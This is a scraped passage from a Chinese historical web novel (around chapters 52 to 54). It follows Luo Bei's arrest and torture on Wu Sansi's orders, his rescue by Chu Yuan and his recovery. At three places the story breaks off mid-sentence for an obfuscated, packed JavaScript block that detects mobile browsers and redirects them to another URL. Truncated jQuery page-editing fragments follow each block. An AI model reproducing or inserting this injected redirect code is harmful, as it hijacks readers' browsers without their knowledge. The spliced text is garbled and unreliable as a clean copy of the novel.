武三思轻轻一笑:“好,你果然是聪明人。驸马都尉王同皎谋刺朝廷重臣,还要兵变入宫废皇后,已经为我侦知。王同皎罪行确凿,还交代了与政变的五王同谋的过程……” 洛北开口打断了他:“梁王殿下到底想说什么?” “简单,如今王同皎已然招供,他罪同谋反,大赦不赦。只是与五王同谋之事,还需要人证。洛郎中,你若愿意出面作证,我武三思保你三年内入阁拜相!” 洛北好像听到了什么很好笑的笑话似的,轻轻笑了一声,抬眼看向武三思: “论关系,我是魏元忠魏相公的属下,论背景,我是郭元振郭都督的旧部,指证五王的事情,恐怕轮不到我来出面。” 武三思碰了个不软不硬的钉子,笑得愈发仁慈了些: “这就是你同你族叔同样的奸滑处。凡事都想立个名目。他兢兢业业装了一辈子大周忠臣,到了,留下这五个人来乱我姑母的江山。你们这样做事,不觉得问心有愧吗?!” 武三思声音陡高,神情也严厉起来。洛北没有被他这幅色厉内荏的模样吓住,脑中却在飞速运转: 为了扳倒武家,张柬之安排他暂时不要公开狄公子侄的身份,朝中知晓此事的人可以说是屈指可数,到底是谁泄的密? 这既关系到他能不能活着出去,也关系到五王下一步的存亡。洛北定了定心神,作出一副疑惑模样:“族叔?什么我的族叔?梁王殿下不会想用这一桩案子把魏相公和郭都督一起牵连进去吧?” 桓彦范?不,他不知道洛北的身份。 “你的心未免也太急了,岂不闻德不配位,必有灾殃。” 其他狄家族亲?那武三思应该在洛阳就动手,绝不会拖到长安。 “再说了,我一个凉州来的小兵,哪里来的族叔?” 那到底还有谁呢……? “若不是我早知洛公子善于做戏,就要被你这幅做派给骗了过去。”武三思森然一笑: “公子,我想请教你一件事情,颠沛流离这么多年,名字、口音和身份都随意变换,为什么你还要坚持籍贯里的‘并州’呢?” 武三思的目光一下子抓住了洛北的眼睛,死死地盯着,想从那双琥珀色的眼眸里抓到一点破绽。 洛北毫不动摇,双目璀璨如流金淬火,只是与武三思对视:“哦?梁王殿下想说什么?” “你是狄仁杰的族亲,原名叫做狄彧,多年前失散在突厥边关。后来为姚崇举荐,才回到了长安,参加宫变叛乱。”武三思得意洋洋地报出一连串信息,“当时阴潜宫中,伺机与人联络的人就是你吧……为了这件事,姚崇甚至被张柬之责骂了一番……” 武三思的嘴唇犹在一开一闭,洛北死死地盯着他,脑子里已经是乱作一团。 一个人的立场往往会决定他讲述一件事情的方式,而他讲述这件事情的方式又会影响别人的情绪表达。 比如……“甚至被责骂一番”,就绝不会是冷眼旁观的白马寺中人口中说出来“被”这样的词,只能说明句子的主语就是说话的人。 泄密的人是姚崇?怎么会是姚崇?! 且不说姚崇因开罪五王,被贬官外任,离开京城已有小半年之久,洛北扪心自问,他蒙姚崇伯乐之恩,一直对姚崇礼敬有加,从未有任何得罪之处。 难道,凉州城外草原上的冒险,政变成功后大雪前狄公墓前的相视一笑,都是一场场滑稽的大戏吗? 洛北心中郁郁,不由得还是看向武三思,单刀直入: “你拿什么说动了姚相公?” 武三思面带震惊,又很快被他自己掩去,变成了以往皮笑肉不笑的样子:“姚崇说的一点没错,功臣派中有你这样的人在,必为我心腹大患!” 他低下头来,用残忍的笑容面向洛北:“我有个属下,给我推荐了个深恨五王的人才,据说很有昔年来俊臣、周兴的风采,不如就从你这位狄公子侄身上试验一番。” 他大步流星地走出去,换成一开始和洛北说话的那个小个子走到牢房中间。 他一边理着手边的鞭子,一边慢吞吞地抬起头,和洛北打了个招呼:“刚刚太着急,忘了说,我姓周,叫周利贞。公子你记着这名字,不要下去了做个没名头的鬼。” “啪。” 长安夏日,各家贵胄都在别庄中消暑。李唐复兴,李氏王爷们门庭若市,各个摆出了十二分的排场。相较之下,武家的子弟们就差了许多。 至于久居突厥,在朝堂毫无势力的淮阳郡王武延秀就更不用说了,因他美姿容,善歌舞,各家王公们都喜欢带着他一道玩,但宴饮一散,回到自己的别院,武延秀就成了个彻底的透明人,诺大的庭院只有三三俩俩的美貌歌姬在随着丝竹管弦应声而合。 褚沅踏进正堂时,几个歌姬正在唱一首悲伤的突厥古歌。武延秀见到她来,先挥退了一众仆婢:“褚姊姊怎么来了,可是太平公主殿下有什么见教?” “我此来是想求郡王殿下救一个人。”褚沅开门见山。 武延秀有些迷惑:“我久居突厥,在朝中一向没有势力,什么人连褚姊姊都救不了,却要求到我的门下?” “洛北。”褚沅说完,把一双剪水眼眸定定地望着武延秀,“也就是在突厥曾经照拂过你的乌特特勤。” 武延秀大为震惊,忙站起来看了看四面,堂中寂静无声,外头连个人的影子都没有:“你怎么会认识他?” “现在不是说过这些的时候,淮阳郡王,你知道他是谁,就应当知道他在突厥救过你的命,照拂过你的生活……你不能见死不救。”褚沅道。 武延秀又看了一眼四周,他本来没有这样谨小慎微的习惯,全是这些年在突厥为质打磨出来的,大漠风沙,草原雨雪,多少的日子里,他就是这样过来的。 不错,乌特特勤确实对他颇为照拂,带他一起参加突厥人的歌舞宴饮,教他说突厥话,指点他如何和那些突厥人相处,可是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14281673|151857||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' …… “可是我救不了他。”武延秀低低叹了一口气,“他不该在大朝会上那样下梁王叔的面子,你也知道,梁王叔是个‘顺我者昌逆我者亡’的性子。他那几句话说完,把梁王叔衬得成了满长安的笑话。梁王叔恨不得食其肉,寝其皮。褚姊姊,没有这桩案子,也会有下一桩案子的。” 武延秀说着说着,神情有些黯淡,忽而,他像是想起什么似的:“他是太子的属官,是魏元忠的下属,你为什么不去找他们?他们一定愿意出手相救的……你就说,就说……” “就说武三思动洛北,是为了把他们引出来,这样,一桩刺杀案,先打五王,再打太子和陛下的旧部,这天下就又是武三思的天下了,是不是?” 褚沅深知这是争分夺秒的时候,见不得他这样犹犹豫豫,“这样的话解琬会和魏相公说,裴伷先会和太子说。淮阳郡王,我冒险来求见你,不是为了求你把他救出来,是为了求你劝劝武三思,劝他少用酷刑!” 武延秀神情一凛,他想起了崔湜最近给武三思举荐的那个周利贞,那家伙的一双小眼睛望着人的时候,给人一种不寒而栗的感觉:“你是担心乌特特勤他会扛不住酷刑,到最后屈打成招?” 褚沅呼了口气:“若是他真肯痛快认罪,还倒罢了。我担心的是,他起了宁为玉碎,不为瓦全的心思,大刑之下,主动自戕以明心志。” 武延秀被她说的没了主意:“那,褚姊姊,我要怎么和梁王叔说……不,首先我要见到他才是,也不是,我……” “淮阳郡王莫急。”褚沅安慰了武延秀半句,“你不必说出洛公子的名字,就寻个宴饮的间隙,当着一群人,装作个讲古的模样说,当今圣上流放房州时,饱受酷吏之苦,甚至差点被酷吏矫诏赐死,如今能安然回长安登基,中兴李唐,真不愧是圣天子百神护佑。” 武延秀本来做好了挨武三思责骂训斥的心理准备,听她说得如此简单轻松,不由得大为不解:“就这样?” “就这样,若是有人问起,便再说些圣上讨厌酷吏至深,登基之后,便将一干酷吏流放岭南之类的话便是。记住,只说事实,只说圣上讨厌酷吏,别的什么话也不要讲。” 褚沅深谙这些贵人们的脾气,只要听了这句,武三思就能脑补出许多句,比如——当今圣上,到底把不把酷吏重刑之下的口供当作口供?以及圣上会不会因为酷刑呗被起些不好的回忆,连带把动用酷吏的人也一起怪罪? 武延秀点了点头:“晚上我们这些武家的子弟们要在一块儿吃饭,我就找机会把话题说了。可,褚姊姊,这样真的能救得了洛公子吗?” 褚沅摇了摇头:“能不能救得了他,最后还是要看圣上的意思,我们能做的,也就是能争一分是一分,能快一刻是一刻。好了,淮阳郡王,我还要回去见太平公主殿下,告辞。” 褚沅一身白衣,像一阵轻软的云,拂过林间的别院后又飞舞而去。武延秀呆呆地看着她的影子发愣。 见人离开,几个歌姬又上来唱那首古老的突厥歌谣,武延秀挥了挥手,叫乐队换了首绵软的情歌,自己去了帘后的卧榻上斜靠着,一边打着拍子,一边想着今晚的饭局。 52. 第 52 章 天不亮,长安城内已经乱成了一锅粥。禁军得了武三思的命令,穿着铠甲,明火执仗,挨个在城中抓捕涉嫌谋刺案的罪犯。主谋王同皎是李显之女定安公主的丈夫,定安公主亲自出面哀求,也没有在禁军手下救下自己的丈夫,只能眼睁睁地看着他被带走。 哭闹声,哀求声几乎响遍了长安城。这宛如梦境一般的恐怖直到黎明才将将结束。上朝的大臣们路过紧闭门户的街道,几乎每个人心中都升起一股不好的预感。 这股预感在皇帝李显因病罢朝时升到顶点。不等那传旨的内侍退出,魏元忠就高喊道:“臣有事关吐蕃的军国大事不得不奏!还请准许我入内觐见圣上!” 内侍知道魏元忠圣眷正隆,不敢和他作对,谦卑道:“魏相公,圣上他真的病了,头疼得厉害,已经下了严令,是谁也不见呐。还请魏相公不要难为小人。” 魏元忠只是刚直,却并不愚蠢,此刻一脸严正:“公公,非是我魏元忠一定要与你为难,而是吐蕃事大,不可不议。我只想烦请公公通报一声,并另传兵部职方司郎中洛北与我一道入内觐见。” “洛北”二字一出,武三思的眼睛已经瞄了过来。他在动手之前,已经意识到魏元忠可能会就此事发作,却没想到魏元忠的消息这样快。他忙走过去,对魏元忠行礼,又对内侍赔了个笑脸:“公公,既然是军国大事,还是通传一声的好。” 那内侍似乎与他熟悉,不同他争辩,只低头领命而去。武三思又一脸笑容地对魏元忠道:“魏相公何必这么大的火气呢?圣上抱病,不能视事,正应是我们大臣为圣上分忧的时候。魏相公老成持重,应当把兵部的担子挑起来,何须事事请示圣上?” “正是。”一个女声从屏风后传了出来——正是韦皇后,“魏相公,圣上信你,才将一干大事都委托于你,如今你都不敢担当,日后要是有更大的差事,你当如何?” 这是许以高官厚禄了。魏元忠极警醒地低头行礼:“为圣上和大唐分忧,乃微臣应尽之责。只是吐蕃之事兹事体大,微臣不敢擅专。” 韦皇后见他识趣,满意地点了点头:“魏相公何必如此,圣上已命我许你便宜行事之权,魏相公不必太谦,且放手去干吧。” 能得皇帝如此看重,魏元忠不免又低了三分:“是,微臣遵旨。”他退到班中,不再说话。 韦皇后又在屏风后道:“诸位朝臣,若有要事上奏,可以将奏疏呈上来,由本宫代为转告圣上。” 眼见一向以刚直的魏元忠都退了下去,满朝大臣无不唯唯诺诺,只将奏疏呈给内侍,各自站回班中不提。韦皇后又宣布了因圣上病重,废朝三日的消息,才带着内侍施施然离开大殿。 一众大臣各自对视,李显废朝是个很不利的信号,意味着至少京城的混乱至少还将持续三日。但圣旨已经下达,大臣们也没有好办法,只得各自离开。 魏元忠走出宫廷,见到武三思在路边恭候,也只是拱了拱手:“梁王殿下不必解释,我都明白,我魏元忠是下过三次刑场的人,不怕你玩的那些肮脏手段,只有一条,你给我记住了,要是耽误了和吐蕃的盟约,你和我就是刻在史书上的千古罪人!” 魏元忠不等武三思辩解,就气势汹汹地离开了。武三思望着他的背影,脸上的微笑终于碎成了碎片,传召:“告诉崔湜,叫他无论如何也要把洛北的口供问出来。要快!” 那侍从得了命令,眼睛一转,道:“要不告诉崔郎中和周利贞,多用些大刑,把魏元忠也一起拉下水?” 武三思气得给侍从后脑勺来了一下:“用大刑!还攀扯魏元忠?你当皇帝和朝臣们都是傻子,看不出来我在排除异己?!消息传得如此之快,今天之内,就算没有结果,也要放人,否则我和魏元忠这梁子就结成死仇了,听到没有?!” 那侍从点头哈腰一阵,一溜烟地跑了。武三思气得直揉胸口,他本想先告诉魏元忠洛北和张柬之的渊源,再解释自己追查王同皎同谋的事情,没想到事情百密一疏,风声走漏得太快。他此刻没有一点实证,想要把洛北和张柬之的关系暴露在人前显然不是个明智之举。好在他昨天命令禁军在城中大肆搜捕人犯,把水搅得很浑,到时候只要说自己是“误抓”,即使魏元忠生气,也不能拿他怎么样。 牢房之中,火把幽幽燃烧着。崔湜快步走进长廊,连声抱怨道:“表兄,你不是一向自诩得了来俊臣、周兴的真传吗?到底行不行啊?梁王殿下发了火,叫我们今天一定要出个结果!” 周利贞放下一杯热茶,面露难色:“我这也是难做的很,昨天审的好好的,半夜梁王殿下突然传信来,叫我不许用那一套老法子。这家伙可是个茅坑里的石头,又臭又硬,不用大刑,怎么能吐口呢?” 崔湜冷哼一声,抢了他桌上的茶水往自己口中一灌:“都什么时候了,表兄还在这里饮茶,这会儿是喝茶的时候吗?好了,你不要再管了,把人犯交给我吧。” “这?这地方满地血污,不是你吟风弄月的崔公子待的地方吧?”周利贞道。 崔湜笑了一声:“你当我想待?对了,把你的人撤出去,留门口的一个。” 周利贞这次能够回朝,全凭自己这位表弟举荐,当下也不和他争辩,兀自退出了出去。两个狱卒也放下刑具,只留一个在门口站岗。 崔湜拿出一方白帕捂住口鼻,步入了满是血腥的刑房之中。洛北吊着手腕挂在刑架上,赤裸的上身到处都是伤痕,血肉模糊,几乎找不到一块好地方。他合着眼,面容惨白,连呼吸都十分微弱。可见连日折磨已将他折腾得体力透支。 “把他给我泼醒。”崔湜不耐烦地向刑房外的狱卒吩咐道。 那狱卒不敢怠慢,当头一桶冷水朝洛北头上浇了下去。 洛北为这冷水一激,呛咳几声,终于醒了过来。他看到崔湜站在面前,疲惫地把头靠在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14281674|151857||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一边的胳膊上,轻轻喘息几声:“武三思让你出面,大概是朝中已经知道我被捕的消息了。” 崔湜站在他对面,仔细地打量了好久他脸上的神情,见他神色平静一如往常,不由得笑了一声:“洛公子果然心思缜密,无人能及,不愧为神龙政变的幕后第一人。” 听到后半句话,洛北微微抬眼看了看他。 “是不是奇怪我从哪里知道这些的?”崔湜脸上挂着笑容,“是姚崇说的。” “姚相公把我看的太高了。”这些时间,洛北已将姚崇的事情翻来覆去地想了个遍,猜到了姚崇和武三思的交易内容,“他以为能拿我的命换相王的命,是不是?” 洛北反应如此迅捷,完全出乎了崔湜的意料。他很难想象,洛北年纪轻轻,遍受折磨,竟然还保持着如此清醒的头脑。他已经意识到自己不能被洛北牵着鼻子走,只在牢中踱步了两圈:“你在拖延时间。” “我当然在拖延时间。”洛北坦然一笑,“无论武三思想不想,他私下抓了我,都会被魏元忠和太子视为向他们开战。他们不会坐以待毙,只会把事情越闹越大,闹到武三思罔顾圣意,离间天家骨肉的罪名上去。为了保住自己,武三思只会来逼迫你。既然如此,我又为什么要让你如愿?” 这正是武三思目前的症结所在。他慢了一步,没有告诉太子和魏元忠洛北的身份,,而是抢先下手抓了人。如今魏元忠抢先发难,太子恐怕也会入宫求情,圣上一旦扛不住压力,就会把武三思推出去对抗群臣——在如今武三思正因吐蕃事宜威望扫地的节骨眼上,这实在不是个好干的差事。 崔湜森然一笑:“洛公子,你在指望魏元忠和太子来救你?他们凭什么救你?他们已经知道,你是个无父无母,胡汉不知,包藏祸心的骗子,能赚得姚崇举荐,不过是借了狄公子侄的虚名,可那又算什么?狄仁杰都已经死了,他坟头的草都半人高了。” 听他羞辱狄仁杰,洛北怒目圆睁:“狄公威名赫赫,不是你这样的跳梁小丑能诋毁得了的。” “省省力气吧,洛公子。你指望魏元忠,指望太子,却从来没想过和你关系最近的政变功臣们。为什么?张柬之即使告老还乡,剩下的那四个人可都还在京城居住,为什么他们不来为你说话?” 崔湜自问自答:“因为你也知道,他们需要一个无辜的祭品,一个清白的牺牲者。等你死了,他们会立马跳出来,承认你的身份,铭记你的牺牲,然后拿你的死指责一切涉及此事的人。” 洛北看着崔湜,没有说话。 “你不恨他们吗?”崔湜循循善诱,“吐谷浑案子时,姚崇故意崴了脚,是为了试探你。二张的案子时,张柬之把你推到台前,是为了让你涉险。宫变之后,他们加官进爵,各自得了奖赏,还把自己的亲戚都调到朝中,却忘了你这个功臣,叫你始终用着不明不白的身份和名字,不能认祖归宗。你为什么不恨他们呢?” 53. 第 53 章 洛北神情漠漠:“崔郎中,我参与这一切,只是为了报答昔日狄公的养育之恩。至于那些人救不救我,那是他们的事情。和我没有关系。” 崔湜神色一变:“为了保住这些人,你甘心去死?” 洛北仰头叹了口气,似乎是十分疲倦:“我这些年,辗转多地,颠沛流离,遇到的事情太多了。局势紧迫,无牌可打的时候,我自己也会把性命押在棋盘上赌。人活百年终有一死。若我一死,能换武家灰飞烟灭,我有什么不甘心的?” “好,好,好。那你就去死吧——”崔湜当即上前一步双手扼住洛北脖颈。洛北无力挣扎,也不想抵抗,放任自己坠入无边黑暗。 “我奉圣上手敕提调钦犯,如有反抗者,格杀勿论!通通给我让开!” 褚沅从门外冲进刑房时,见到的便是这副场景。她又气又急,快步上前,生生给了崔湜一巴掌。 崔湜被这突如其来的一耳光打偏了头,手中力道一松,倒退了两步,才看清来人。他勃然大怒:“贱人,一个宫里的奴婢也敢打我!”他反手就要报复,高高举起的手腕却被一个身着明光铠甲的羽林卫抓住,牢牢地摁在身后,动弹不得。 褚沅扫了一眼崔湜,举起手中的明黄书卷:“我奉圣上钦命而来,崔湜,你是要造反吗?” 崔湜哪敢和圣上手敕硬顶:“不敢,不敢,只是此人关系重大,梁王殿下特意交代了……” “哦?你的意思是,武三思教唆你对抗皇命,看来不是你要造反,是武三思想造反,是吗?”褚沅问道。 崔湜扑通一声跪倒在地:“微臣不敢,微臣不敢。” 褚沅冷哼一声,回过身没再理他。 两个羽林卫已将洛北身上的锁链一一解开。 手上的束缚一松,洛北再也支撑不住身体,软绵绵地倒在褚沅身上。 褚沅慌忙伸手接住他,见他遍身鲜血淋漓,已经变了脸色。她轻轻拍了拍洛北的脸颊:“洛公子,洛公子?” 洛北意识迷蒙,本想张口答话,精神却先松垮下来,只眨了眨眼,就晕了过去。 褚沅被他整个身子的重量压得倒退两步,却抱着他不肯放手。 为首的羽林卫首领正是吐谷浑首领慕容曦光,他见此情景,忙脱下一身铠甲,过来要把洛北的胳膊架在自己肩上。褚沅却摆了摆手:“等一等,曦光。” 慕容曦光不明就里地顿住步子:“褚姊姊,大哥哥比你高大太多,你这样撑不住多久的。” “我知道。”褚沅张了张口,露出一个苦笑,“只是......洛公子的手臂被他们打断了,你得命人卸下一只门板来抬着他。” 慕容曦光惊得脸色煞白:“这帮畜生.....”他抽刀出鞘,寒光一闪,往崔湜脖间一横:“是你干的?!” 崔湜怕他立刻就要自己给洛北偿命,被吓得六神无主:“不是我,不是我,是周利贞,大理寺的周利贞......” “慕容曦光!”褚沅喝住慕容曦光,“现在不是节外生枝的时候。你要是实在气不过,回去在圣上面前狠狠奏他们一本。走吧。” 慕容曦光冷声道:“太便宜这些东西了。”他收了刀,已有机灵的羽林卫卸下两块门板,又在门板上铺了些稻草,把洛北抬到门板上,一路送到了外面的马车上。 褚沅已叫人拿着自己的名帖去请太医,又嘱咐慕容曦光道:“曦光,洛公子伤成这样,身边离不开人。我带他去我的别院居住,你代我入宫向圣上复命。” 慕容曦光低声应允,带着一众羽林卫往宫中去了。褚沅则命车夫一路快赶,马车飞驰,穿过坊墙高启的长安城,草长莺飞的曲江畔,停在一处朱门大户之前。 已有机灵的侍从停在外间,一路抬着伤者入了正房主卧。已有三两个民间郎中抱着药箱等在门口。褚沅与他们交谈几句,叮嘱他们事事小心,才命他们进去照拂洛北。 几个民间郎中都是做惯了事情的人,得了命令,立刻伏身开始替洛北处理伤口。褚沅也不打扰他们行事,只走到洛北身边,静静注视着他的面容。 不一会儿,下人来报,太医院李院判到了。褚沅迎了出去,与院判寒暄两句,塞上两块小金条,才请他入内诊脉。 李院判收了钱,脸上笑容越发深了:“褚学士奉圣谕行事,老朽自当从命,何必如此客气?” 褚沅笑道:“圣命是圣上的恩德,钱财是我的心意。此人关系重大,他的性命,就要托付给李院判了。” 李院判摆了摆手:“好说,好说。”他伸手试了试洛北的脉搏,不由得“哎”了一声:“这......” “院判但讲无妨。”褚沅起身,把李院判请到外间。 “褚学士,此人伤势虽重,但并未伤及肺腑,多加修养,可以恢复。只是......他脉象沉迟,恐怕是心中郁结未解。”李院判捋了一把山羊胡子,“说得通俗些,就是他自己并不想醒过来。” 褚沅一时怔住:“李院判可有什么办法?” “老朽只懂药理,不懂人心。我一会儿开出药方,辅以膏药,可以缓解伤势。至于他的思绪,恐怕还是要褚学士自己想办法。”李院判拱了拱手,在纸上写下药方。 褚沅也不为难他,连道几声谢,将院判送了出去。她回到房中时,几个郎中已将伤口处理完毕,替洛北换上一身崭新丝袍,退了出去。 瑞兽形状的鎏金香炉在屋子一角燃着沁人心脾的安神香。褚沅坐到自家兄长床边,抬手替他拢了拢散乱的发丝:“阿兄......”她低声开口,像是在问洛北,更像是在问自己:“你到底受了什么委屈,非要求死不可呢?” 死亡......到底是什么样子? 纵然足智多谋如洛北,也无法准确预料那一边的世界是何模样。此刻此时,他孤身一人,正在看不到尽头的迷雾里行走,四周寂静无声,连他自己的呼吸声和心跳声都没有。 洛北就这样漫无目的地走着,直到看到眼前有两个虚虚的人影,追到前方一看,才认出是他久未谋面的父母。他们停留在他记忆里的年轻的样子,正带着笑容,互相交谈。然而无论洛北如何说话,他们也充耳不闻——不一会儿,他们四散而去,成了迷雾中看不见的沙尘。 洛北心中一沉,脚下却没有停留,只定定地继续往前走,眼前有一位端方老者,正对着一方书卷静 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14281675|151857||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 默沉思。“狄公——”他喊了一声,却没有听到任何声音从自己口中发出。狄仁杰也没有和他说话,只兀自沉思,不一会儿,也隐没在迷雾之中。 而后是阿史那献、是默啜、是阙特勤、是郭元振、是姚崇、是张柬之、是裴伷先、是褚沅.......人们如走马灯一般地出现在他面前,又一一地隐没而去。 洛北不由得停在原地,心中却无限悲凉:“为什么?” 那被他隐藏得很好的,连他自己都要忘却了的一点不甘涌上心头: 为什么我隐姓埋名,委曲求全,却换不来一条活路? 为什么小人高坐庙堂,肆意指使,却没有报应和惩罚? 为什么李显刻薄寡恩,懦弱无能,却依旧身居高位,享受万民敬仰? 为什么......? 怨恨和不甘最终化为一口鲜血,被他吐了出来。 褚沅本伏在洛北床边休息,被这样一惊,猛然坐了起来。 此刻,正值深夜,四周一片黑暗,寂静无声。褚沅抽出袖中的绢帕,借着一点微弱的月光,替洛北擦掉了唇边的血迹:“阿兄?” 洛北意识迷蒙,睁着眼睛,不知道是在看她,还是在看什么别的人。 褚沅定了定心神:“我去请太医。”她起身要走,衣袖却被洛北一把抓住:“等等,不要走。” “求求你,不要走。” 这一句话好像耗尽了洛北所有的力气,他倒在卧榻上,却依旧睁着眼睛,望着前方。 褚沅试了试他的额头,只觉得烫得吓人,她心中大恸,跪倒在他床边,抱起他的肩膀,把他的额头同自己的脸颊贴在一起:“阿兄,阿兄,我不走,我不走。没事的,一切都会没事的。” 洛北迷蒙之中只应了几声,就再度晕倒过去。 褚沅再也忍不住眼泪,她一边拭泪,一边高声喊道:“来人,来人——拿我的名帖,挂马牌,去请李院判,现在就去!” ...... 洛北真正清醒过来的时候,是三日后的清晨。他转头看去,一只灰喜鹊站在他病房的窗棂上,叽叽喳喳地鸣唱着,喜鹊身后,是终南山不化的冰雪。 他躺的太久,只觉得浑身酸疼,试探性地动了动手指,却摸到一片柔软带着绣花的织物。他低头看去,褚沅伏在他床边睡得正香。 褚沅鬓发散乱,显然是好久没有好好休息过了。洛北不想吵醒她,只轻轻地将手抽回,哪知道就是这样一个动作,也将褚沅惊醒了。她抬头望向洛北的眼睛,试探性地问了句:“阿兄?” “我没事。”洛北柔声安慰她,“你再睡会儿,不打紧的。” 褚沅定定地将他上下打量一番,确认他这是真的清醒过来,不是神智迷蒙时发的大梦,才忍不住扑到他怀里大哭起来:“阿兄——我......我真的以为.......” 洛北知道褚沅生长于大明宫中,又侍奉女皇数年,极少将心绪外露,见她哭成这样,也知道这次是将她吓得不轻,只得抚了抚她的头发,轻声安慰道: “好啦,好啦,当年女皇没能杀我,突厥的默啜可汗也没能杀我,一个周利贞能奈我何啊?” 54. 第 54 章 褚沅一听这话,哭得越发厉害了。洛北对妹妹的眼泪束手无策,只得任由她在自己怀里哭了个昏天黑地。最后还是进来给他换药的郎中替他解了围:“小姐,您再哭,就要把伤口打湿了。” 褚沅立刻收住眼泪,站到一边,任由几个郎中替洛北换药。他们手脚麻利,动作很轻,洛北无所事事,只盯着他们手中的膏药发愣:“这瓶子上雕着蟠龙纹,是宫里出来的东西?” 褚沅点了点头:“是,都是太平公主殿下和太子殿下赏的。太子殿下还亲自来看望了一回,你还晕着,他也没说什么,只到房门外看了一看,就走了。” 她说着,从一边的桌上拿出两叠长长的礼单:“还有魏相公、解御史他们也派人来看望过,带了些东西。我不好推拒,就做主全都收了下来。回礼的单子,我也列出来了,等你再好些,可以托人一一采办了,再登门回给他们。” 洛北对这些人情来往不甚敏感,有个人替他做主是再好不过:“都听你的。” “还有,张孝嵩、王翰、葛福顺......也都亲自登过门。”褚沅另外拿出一张名单,“他们都是你的朋友,我就没有多客套,一律请他们过些日子再来。名单我记在这里。要致歉要致谢,等你好些了,再看看吧。” 她说话之间,几个郎中已经将药换好,各自退了出去。褚沅在洛北身后摆了两只圆枕,扶他坐起身子,将名单同礼单递到他手上,又在他手边摆了只小桌子,从一只瓦罐中盛上一碗煨得烂熟的鸡汤,一小勺一小勺地喂给他。 洛北见她动作娴熟,便知道这些日子都是她内外操持,他目光一低:“这些日子,辛苦你了。” 褚沅噗嗤一声笑了:“兄妹之间,本应互相扶持,没有什么辛苦不辛苦。阿兄当我这个掖庭宫婢出身的女官没伺候过人吗?” 洛北也笑了:“我不是这个意思......” “我知道。”褚沅将一碗鸡汤喂给他,又抽出一方崭新的绢帕来替他擦了擦唇边,“阿兄若要谢,还是谢谢裴伷先吧,太医院开的方子药材精贵,不少东西长安城里也难找,都是他跑前跑后,从胡商那里买来的。” 洛北点了点头:“我正想问你,这件事情你和伷先是怎能这么快就发现的?” 他着意推算过,他失踪之事若是要到朝会上才被人发掘,少说也要三两日功夫才会闹到武三思面前——结果第二天下午,崔湜就气势汹汹地来找他谈话,显然已是纸包不住火了。 褚沅轻轻一笑,露出与刚刚那个温和女官截然不同的一面:“阿兄是不是忘了,我曾经是替女皇执掌秘密的人啊。” 她将瓦罐交给侍女,挥手让人都退了下去:“当年二张能够诬告送别魏元忠的太子门客,今日我就能在武三思带走你之后立刻得到消息。我当时尚在宫中,是辗转托了刚刚结束当值的慕容曦光去告诉裴伷先和解琬。他们听到消息,自然立刻去找太子和魏元忠——你恐怕也能猜到那两位听到此事的反应。” 洛北点了点头,他明白了,就是褚沅快了的这一步,让武三思的计划满盘皆输:“后来呢?是魏元忠向圣上请旨,让武三思放了我?” “魏相公本要在第二日的朝会上发难,可陛下生了头疼,没有去早朝。那天下午定安公主和太子入宫觐见,一个参奏武三思无旨擅动禁军,一个参奏武三思离间天家。太平公主正在宫内,也帮了几句腔,提到武三思在长安肆意抓人,这时候才提到你的名字。为了安抚太子,圣上便下了手敕,叫武三思立马把你放出来。” 她说的一切好像理所当然,洛北却是做局的行家,他知道,若不是有人在其中穿针引线,这一切不会恰到好处地导向圣上下手敕赦免他这个结果。他本要道谢,又觉得一句“谢谢”太过轻飘飘,只是看着褚沅。 “阿兄盯着我做什么?”褚沅起身避开他的目光。 “我只是在想,你要是进了朝堂,说不定会做的比我好得多。”洛北由衷感慨。 褚沅笑了一下,正要接话,外头有人通报,说是来个客人。来不及等褚沅命人通传,慕容曦光大步流星地从外间走了进来,低头向褚沅抱拳行礼:“褚姊姊。” 他在京中待了半年,已将一身稚气脱去,显出几分独当一面的风采。洛北颇为欣慰,喊了他一声:“曦光。” “大哥哥也醒了?!这可太好了。”慕容曦光神情一松,“本来我还在为难此事要如何开口,如今大哥哥醒了,总算是能说得出口了。” 褚沅笑道:“有什么事情非要等洛公子醒来不可?” “圣上今日头疼好了些,本要驾幸武三思府邸游乐,却在临行前收到了北庭都护阿史那献和检校安西大都护郭元振联名为大哥哥开罪的奏章。圣上好奇大哥哥到底是个什么人,竟能让两位大都护为他作保,便要摆驾到这里来看看。” 褚沅有些为难:“洛公子才刚刚醒过来,就要让他御前奏对么?” “圣上的性子褚姊姊也知道,一阵一阵的。”慕容曦光无奈道,“如今只有预备接驾了。” 洛北拽了一下褚沅的衣袖:“无妨,沅儿,圣上要见我,无非就是有话要问我。正好,有些话,我也想和圣上说一说。” 